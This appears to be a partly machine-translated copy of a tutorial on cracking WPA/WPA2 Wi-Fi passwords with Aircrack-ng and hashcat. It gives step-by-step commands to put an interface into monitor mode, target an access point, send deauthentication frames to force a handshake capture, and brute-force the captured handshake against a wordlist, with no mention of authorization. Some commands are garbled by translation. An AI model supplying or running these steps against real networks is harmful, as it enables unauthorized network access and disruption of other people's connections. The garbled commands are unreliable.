使用 Aircrack-ng 破解 Wifi (WPA/WPA2)

2025-06-09

使用 Aircrack-ng 破解 Wifi (WPA/WPA2)

Linux 中的破解 WIFI-WPA2!

先决条件:

  • Aircrack-ng:sudo apt install aircrack-ng

让我们夺旗(我的意思是握手):

打开终端.....

1号航站楼:

  1. 检测您的无线网络接口:


ifconfig


Enter fullscreen mode Exit fullscreen mode

接口

如果找不到命令则尝试:



/sbin/ifconfig


Enter fullscreen mode Exit fullscreen mode

让我们将wlp3s0作为无线接口

  1. 启动监控模式:```

sudo airmon-ng 启动 wlp3s0

![Enable Monitor mode](https://dev-to-uploads.s3.amazonaws.com/i/2rkd5dtkq34r7eq3uamt.png)

3. capture traffic  : 
Enter fullscreen mode Exit fullscreen mode

sudo airodump-ng wlp3s0mon

![Monitoring](https://dev-to-uploads.s3.amazonaws.com/i/jxh9qpoqjos40kdltxlx.png)

#### Terminal-2:

4. select target and focus on one AP on channel:

Enter fullscreen mode Exit fullscreen mode

sudo airodump-ng --bssid xx.xx.xx.xx.xx.xx -cy --write 文件名 wlp3s0mon


- **xx.xx.xx.xx.xx.xx** defines : **AP BSSID** -> 00.11.22.33.44.55 (suppose)
- **y** defines : **AP channel** -> 10  (suppose)
- **filename** is the file name where the **handshake** will captute and make some other stuffs .

![Monitong target](https://dev-to-uploads.s3.amazonaws.com/i/8zjk8plcyl6z29fnryhv.png)

#### Terminal-3:
5. Send traffic to the channel :

Enter fullscreen mode Exit fullscreen mode

sudo aireplay-ng --deauth y -a xx.xx.xx.xx.xx.xx wlp3s0mon


- ammoun of **traffic**-> y

![Deauth](https://dev-to-uploads.s3.amazonaws.com/i/2zt6a5hmp46fskpmgefq.png)

6. Capture handshake : it will be shown in the monitor if captured ! at **Terminal-2**.


7. Now you got the handshake .**(terminal-2)** 

8. Stop the process of terminal-2 : `ctrl+c`

### Now Lets crack the password !


**There will be a WPAcrack-01.cap file in your home directory**


1. convert cap file  into hccapx file : https://www.onlinehashcrack.com/tools-cap-to-hccapx-converter.php 

or 

1. use **[cap2hccapx.c](https://github.com/hashcat/hashcat-utils/blob/master/src/cap2hccapx.c)** file to convert the **cap** file to **hccapx** file 
Enter fullscreen mode Exit fullscreen mode

gcc cap2hccapx.c -o cap2hccapx && ./cap2hccapx 文件.cap 文件.hccapx


![cap to hccapx](https://dev-to-uploads.s3.amazonaws.com/i/uw7skeg2i1er7oby9u5w.png)

2. Crack password using **hashcat** : 

   - **Install hashcat :**`sudo apt install hashcat`
   - check is everything oky ? : `hashcat -I`  **to use hashcat you need gpu**
   - crack password :

Enter fullscreen mode Exit fullscreen mode

sudo hashcat -m 2500 wpacrack.hccapx 字典.txt


- dictionary.txt -> word list (suppose) 
- wpacrack.hccapx is the handshake file

![hashcat](https://dev-to-uploads.s3.amazonaws.com/i/fgckhzgx1q9jew9682se.png)

![Status](https://dev-to-uploads.s3.amazonaws.com/i/8x1esdec8o18mkkeb8m6.png)

Then you will get the password. 

![password](https://dev-to-uploads.s3.amazonaws.com/i/gju9qq3yvasq1lsuk40v.png)

[Here is the git repo you can find **cap2hccapx.c** ](https://github.com/jspw/Crack-WIFI-WPA2)
Enter fullscreen mode Exit fullscreen mode
鏂囩珷鏉ユ簮锛�https://dev.to/mh_shifat/hack-wifi-wpa-wpa2-with-aircrack-ng-5fbl
PREV
使用纯 HTML、CSS 和 JS 编写可搜索的“数据库”
NEXT
使用 Mocha 和 Chai 在 Express 中测试 Node JS 中的 REST API 😎 目录 什么是单元测试?!为什么要使用单元测试?谁使用单元测试?!结论